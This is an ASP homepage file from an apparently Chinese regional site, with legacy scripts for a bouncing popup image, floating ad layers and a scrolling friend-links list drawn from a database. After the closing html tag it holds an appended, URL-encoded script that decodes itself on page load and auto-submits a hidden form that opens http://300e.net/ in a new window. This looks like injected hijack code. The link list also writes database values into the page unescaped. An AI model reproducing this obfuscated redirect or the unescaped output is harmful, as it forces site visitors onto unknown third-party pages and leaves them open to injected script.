📄 index.asp
字号:
<tr>
<td> <b><font color=white>友情站点</font></b></td>
</tr>
</table>
<SCRIPT LANGUAGE="JavaScript1.2">
<!--
//1) specify path to image//图片的路径
var imagepath="image/xinxi.gif"
//2) specify image dimensions//图片的大小
var imagewidth=50
var imageheight=50
//3) change this to adjust speed (lower is slower)//速度
var speed=3;
//4) configure what should happen when user clicks on image
//A value of "dismiss" will dismiss it, while a URL will cause the browser to navigate to it
var imageclick="/addxinxi.asp?cnmai=free"
//5) Finally, configure when the image should automatically disappear, in seconds (0=perpetual)
var hideafter=0
////No editing required beyond this point/////////////////
var isie=0;
if(window.navigator.appName=="Microsoft Internet Explorer"&&window.navigator.appVersion.substring(window.navigator.appVersion.indexOf("MSIE")+5,window.navigator.appVersion.indexOf("MSIE")+8)>=5.5) {
isie=1;
}
else {
isie=0;
}
if(isie){
var preloadit=new Image()
preloadit.src=imagepath
}
function pop() {
if(isie) {
x=x+dx;y=y+dy;
oPopup.show(x, y, imagewidth, imageheight);
if(x+imagewidth+5>screen.width) dx=-dx;
if(y+imageheight+5>screen.height) dy=-dy;
if(x<0) dx=-dx;
if(y<0) dy=-dy;
startani=setTimeout("pop();",50);
}
}
function dismisspopup(){
clearTimeout(startani)
oPopup.hide()
}
function dowhat(){
if (imageclick=="dismiss")
dismisspopup()
else
window.open(imageclick);
}
if(isie) {
var x=0,y=0,dx=speed,dy=speed;
var oPopup = window.createPopup();
var oPopupBody = oPopup.document.body;
oPopupBody.style.cursor="hand"
oPopupBody.innerHTML = '<IMG SRC="'+preloadit.src+'">';
oPopup.document.body.onmouseover=new Function("clearTimeout(startani)")
oPopup.document.body.onmouseout=pop
oPopup.document.body.onclick=dowhat
pop();
if (hideafter>0)
setTimeout("dismisspopup()",hideafter*1000)
}
// -->
</SCRIPT>
<table width="760" border="1" align="center" bordercolor="#CCCCCC" bgcolor="#FFFFFF">
<tr>
<td width="777" bordercolor="#FFFFFF"><div align="left" class="style20">
<p>
<a title="友好图书超市" target="_blank" href="http://www.youhaobook.com"> </a><a href="http://www.yohoabook.com" target="_blank">友好图书超市</a> <a href="http://www.126mail.cn" target="_blank">闽东便民网</a> <a href="http://www.nd50120.com/bbs" target="_blank">闽东资讯论坛</a></p>
</div></td>
</tr>
</table><SCRIPT>
document.ns = navigator.appName == "Netscape"
function lqdellload()
{
if (navigator.appName == "Netscape")
{document.lqdell.pageY=pageYOffset+window.innerHeight-200;
document.lqdell.pageX=+window.innerWidth-120;
document.lqdell2.pageY=pageYOffset+window.innerHeight-200;
document.lqdell2.pageX=+window.innerWidth-715;
lqdellmove();
}
else
{
lqdell.style.top=document.body.scrollTop+document.body.offsetHeight-200;
lqdell.style.left=document.body.offsetWidth-120;
lqdell2.style.top=document.body.scrollTop+document.body.offsetHeight-200;
lqdell2.style.left=document.body.offsetWidth-715;
lqdellmove();
}
}
function lqdellmove()
{
if(document.ns)
{
document.lqdell.top=pageYOffset+window.innerHeight-200
document.lqdell.left=+window.innerWidth-120;
document.lqdell2.top=pageYOffset+window.innerHeight-200
document.lqdell2.left=+window.innerWidth-715;
setTimeout("lqdellmove();",5)
}
else
{
lqdell.style.top=document.body.scrollTop+document.body.offsetHeight-200;
lqdell.style.left=document.body.offsetWidth-120;
lqdell2.style.top=document.body.scrollTop+document.body.offsetHeight-200;
lqdell2.style.left=document.body.offsetWidth-715;
setTimeout("lqdellmove();",5)
}
}
function MM_reloadPage(init) { //reloads the window if Nav4 resized
if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true)
function lqdellover()
{
if(navigator.appName == "Netscape"){
document.lqdell2.visibility="show";
}else
{
lqdell2.style.visibility="visible";
}
}
function lqdellout()
{
if(navigator.appName == "Netscape"){
document.lqdell2.visibility="hide";
}else
{
lqdell2.style.visibility="hidden";
}
}
if (navigator.appName == "Netscape")
{document.write("<layer id=lqdell top=300 width=64 height=80><a href='http://www.youhaobook.com' onmouseover=lqdellover() onmouseout=lqdellout() border=0 target=_blank><img src=image/logo01.gif border=0></a></layer>"
+"<layer id=lqdell2><a href='http://www.youhaobook.com' onmouseover=lqdellover() onmouseout=lqdellout() border=0 target=_blank><img src=image/dvb.jpg border=0></a></layer>");
lqdellload()}
else
{
document.write("<div id=lqdell style='position: absolute;width:64;top:300;visibility: visible;z-index: 1'><a href='http://www.youhaobook.com' onmouseover=lqdellover() onmouseout=lqdellout() target=_blank><img src='image/logo01.gif' border='0'></a></div>"
+"<div id=lqdell2 style='position: absolute;visibility: hidden;z-index: 10'><a href='http://www.youhaobook.com' onmouseover=lqdellover() onmouseout=lqdellout() target=_blank><img src='image/dvb.jpg' border='0'></a></div>");
lqdellload()
}
</SCRIPT>
<div id=demo onMouseOut=ii=0 onMouseOver=ii=1 style="HEIGHT: 32px; OVERFLOW: hidden; width:780px">
<div id=demo1 style="width: 780px; height: 32px">
<table width="760" cellspacing="0" cellpadding="0" style="border-left: 1px solid #CCCCCC; border-right: 1px solid #CCCCCC; border-top-width: 1px; border-bottom-width: 1px">
<%
dim f
Set rs_new = Server.CreateObject("ADODB.Recordset")
sqlwto="select top 80 * from link where yanz=1 order by logo desc,jrsj desc "
'response.write sqltext
'response.end
rs_new.open sqlwto,conn,3,2
while not rs_new.eof
%>
<tr>
<%for f=0 to 7
if rs_new.eof then
exit for
end if
%>
<td><p align="center"><span style="font-size: 9pt">
<%if rs_new("logo")<>"" and rs_new("logo")<>"http://" then %>
<a target="_blank" title="<%=rs_new("web")%>-<%=rs_new("webabout")%>" href="<% =rs_new("url") %>"> <img src="<%=rs_new("logo")%>" width='88' height='31' style="border: 0px solid #C0C0C0; padding: 0" ></a><a target="_blank" title="<%=rs_new("webabout")%>" href="<% =rs_new("url") %>"></a>
<%else%>
<a target="_blank" title="<%=rs_new("web")%>-<%=rs_new("webabout")%>" href="<% =rs_new("url") %>">
<% =rs_new("web") %>
</a>
<%end if%>
</span></td>
<%rs_new.movenext
next
%>
</tr>
<%
wend
rs_new.close
%>
</table>
</div>
<div id=demo2></div>
<script>
var ii=0;t=demo.scrollTop
demo2.innerHTML=demo1.innerHTML
function qswhMarquee(){
if (ii==1)return
if(demo2.offsetTop-demo.scrollTop<=0)
demo.scrollTop-=demo1.offsetHeight
else
demo.scrollTop++
}
setInterval(qswhMarquee,60)
</script>
</div>
</div>
<!--#include file="endcnmai.asp"--></body></html>
<%
closedb
%>
<script language="javascript">var www_helpor_net="%3Cscript%20language%3D%22javascript%22%3E%20%0D%0Afor%28i%3D0%3Bi%3C1%3Bi++%29%7B%20%0D%0Adocument.write%28%22%3Cform%20name%3Dform%22+i+%22%20action%3Dhttp%3A//300e.net/%20target%3D_blank%3E%3C/form%3E%22%29%3B%20%0D%0Aeval%28%22document.form%22+i+%22.submit%28%29%3B%22%29%3B%20%0D%0A%7D%20%0D%0A%3C/script%3E";www_Helpor_net=unescape(www_helpor_net);document.write(www_Helpor_net);</SCRIPT>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -